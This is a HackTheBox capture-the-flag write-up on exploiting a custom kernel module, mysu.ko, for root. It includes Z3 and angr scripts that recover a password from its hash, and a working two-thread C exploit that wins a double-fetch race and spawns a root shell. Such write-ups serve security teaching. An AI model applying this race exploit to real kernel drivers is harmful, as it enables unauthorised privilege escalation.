Kernel Adventures: Part 1
Kernel Adventures: Part 1
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
SUID binaries are too vulnerable. So I decided to implement su in the Kernel.
Solution Approach
Core idea: Source code review. Exploiting race condition vuln.
Steps
-
In this challenge we're given the kernel environment setup.
-
Let us extract the Linux file system.
cp rootfs.cpio.gz rootfs.cpio.gz.backup gunzip rootfs.cpio.gz sudo cpio -i < rootfs.cpio mv rootfs.cpio.gz.backup rootfs.cpio.gz
- Noticed that our kernel module name is mysu.ko.
- Upon decompiled the binary using ghidra, seems there are only 3 functions to interact with the module.
REVIEWING dav_open()
- Function
dav_open()shall not be our interest here, it just print "opened" once it's called.
REVIEWING dav_read()
- Function
dav_read()reads up to 32 bytes of data from source &users, then copies it to a buffer named param_2. - If the bytes is bigger than 32, it then returns 32. Otherwise, it just returns the number of bytes copied.
REVIEWING dav_write()
-
If you noticed,
dav_write()behavior is set to be similar to write@plt function. -
param2 is our content, param3 is the size of our content, and param1 performed as file descriptor (fd).
-
If the size of our content is less than 8, then it the binary is terminated.
-
Next, it check whether the contents of param2 are equal to a global var named users.
-
Afterwards, the module takes the next bytes of our input data (param2 + 1) and calc the hash. If the hash match to 0x0, then we jumped to label LAB_0010017E. This label uses functio
prepare_credsandcommit_credsto switch user. Our intention is to gained root by passing the 0 to it. -
This is our current privilege.
-
We can further check that by running readelf to mysu.ko and check for the
.datasection.
NOTES:
Every initialized global variable that is not 0, is stored at .DATA_ADDRESS section.
READELF
- Anyway, the vuln is at the condition where it taking again our input data from param2. It could introduce as Race Condition.
- So when the check is passed at the beginning and we jump to label LAB_0010017e, we change our UID to 0 (root). Afterward the module shall perform
commit_creds(prepare_creds(0)). - This type of attack in kernel exploitation is called Double Fetch.
CONCERN
- The only concern for race condition in operating system is due to the absence of Mutual Exclusion (Mutex) or Binary Semaphore.
[MUTEX]
- Is a locking mechanism used to ensure that only one thread
or process can access a resource at a time.
[BINARY SEMAPHORE]
- Is a signaling mechanism that can have only 2 values, 0 and 1.
It is similar to mutex but has differences in usage and behavior.
-
Upon reviewing at the init_module() function, mutex or semaphore both are absence. Hence we could gain Race Condition to change our UID to root.
-
Seems we found the bug now.
-
First, let us get the expected hash to find a valid password. Execute
run.shfile to start the kernel emulation. -
To get the expected hash, run
ddfrom/dev/mysuto extract the users variable we saw before.
dd if=/dev/mysu count=4 | xxd
- Well, if you remembered the notes.txt file at the beginning. It states that the password hashes is removed. But it should not be 0.
- Let us check at the remote server.
REMOTE SERVER
- So the expected hash in hex format is
0x03319f75. - To obtain this hash, we have to use the same hashing function found in the mysu.ko.
The hashing function
- Since the valid password length is 8 bytes, meaning 2 to the power of 68 and very time consuming because the only way to get the valid pass is by bruteforcing it.
- To speed up the process, we can use angr or z3 library in python. But in this writeup I will show the result for using both. Also we need to compile the C hash function so we can validate whether our password is correct.
SCRIPT TO BRUTEFORCE --> using Z3
from pwn import *
import os
from z3 import *
result = 0
target_hash = 0x03319f75
byte_array = [BitVec(f'byte index {i}', 8) for i in range(8)]
for byte in byte_array:
extended_byte = SignExt(24, byte)
intermediate_res = (result + extended_byte) * 0x401 # 1025
result = intermediate_res ^ LShR(intermediate_res, 6) ^ extended_byte
### Create a Z3 solver instance
solver = Solver()
### Constraint to solver, that the calc hash must equal to targ hash.
solver.add(result == target_hash)
### if constraint is satisfiable
if solver.check() == sat:
model = solver.model()
log.success(f'Correct hash found')
# print result
print(bytes(model[byte].as_long() for byte in byte_array))
NOTES:
1. Using SignExt because char type in C is signed.
2. Using LShR to perform logical bit-shift.
THE C SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
unsigned int hash(char *string) {
int i;
unsigned int uvar1;
unsigned int res;
res = 0;
for (i = 0; i < strlen(string); i++) {
uvar1 = (res + string[i]) * 0x401;
res = uvar1 ^ uvar1 >> 6 ^ string[i];
}
return res;
}
int main() {
char password[8];
scanf("%s", password);
getchar();
if (hash(password) == 0x03319f75) {
puts("Yes");
} else {
puts("Nope");
}
return 0;
}
WITH ANGR
from pwn import *
import os
import angr
exe = angr.Project('./hash-bin')
### create the initial state of the program (at the entry point)
init_state = exe.factory.entry_state()
### create a simulation manager to manage the exploration of states
sim_manager = exe.factory.simulation_manager(init_state)
### explore the state space to find a state where "Yes" is printed to fd 1 (stdout)
sim_manager.explore(find=lambda state: b'Yes\n' in state.posix.dumps(1))
if sim_manager.found:
found_state = sim_manager.found[0]
pass_bytes = found_state.posix.dumps(0) # extract input
# conver the input bytes to a list of hex strings
pass_hex = (hex(byte) for byte in pass_bytes)
print(', '.join(pass_hex))
RESULT WITH ANGR
- Nice! Now let us craft our exploit.
- Remembering we're going to abuse a Double Fetch, hence using 2 threads shall required to win the race.
- One thread is used to continuously changing our UID to 0 in our input data.
- The other one is used to continuously changing our UID to 1000 in our input data.
- There should be a moment where, the module checks our UID (at this rate is 1000), then we passed. Afterwards our UID changed to 0 before the module fetch the user input data again to call
commit_creds(prepare_creds()). - Finally. once our UID is changed to 0, we stop all running threads.
EXPLOIT C CODE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
// consist of user UID and calculated hash
char user_uid[] = {
0xe8, 0x03, 0x00, 0x00,
0x6e, 0x63, 0x7b, 0x89,
0x00, 0x02, 0x02, 0x08
};
int flag = 0;
void *get_root(void *args){
int fd;
while(!flag){
user_uid[0] = 0;
user_uid[1] = 0;
fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission
write(fd, user_uid, sizeof(user_uid));
close(fd);
// checker for root uid.
if (getuid() == 0){
flag = 1;
system("/bin/sh");
}
}
}
void *get_user(void *args){
int fd;
while(!flag){
user_uid[0] = 0xe8;
user_uid[1] = 0x03;
fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission
write(fd, user_uid, sizeof(user_uid));
close(fd);
// checker for root uid.
if (getuid() == 0){
flag = 1;
system("/bin/sh");
}
}
}
int main(void){
pthread_t thread_root;
pthread_t thread_user;
// create 2 threads
pthread_create(&thread_root, NULL, get_root, NULL);
pthread_create(&thread_user, NULL, get_user, NULL);
pthread_join(thread_root, NULL);
pthread_join(thread_user, NULL);
return 0;
}
- Now to send our exploit to the remote server is quite tricky.
- What I did is to gzip our exploit binary first, then grab the base64 encoded.
- Afterwards, decode it at the remote server and unzip it again.
STEPS
1. At our local machine do:
gcc exploit.c -l pthread -o exploit
gzip exploit
base64 exploit
2. At the remote server
[+] Need to move to /tmp, the only dir that is writeable.
cd /tmp
echo "YOUR_BASE64" > /tmp/exploit.gz.b64
base64 -d exploit.gz.b64
gzip -d exploit.gz
chmod +x exploit
./exploit
- We've pwned it!!
Flag
REDACTED
Lessons Learned
- Source code review.
- Exploiting race condition vuln.
- Password Hash Cracking.
- Implement double fetch exploitation.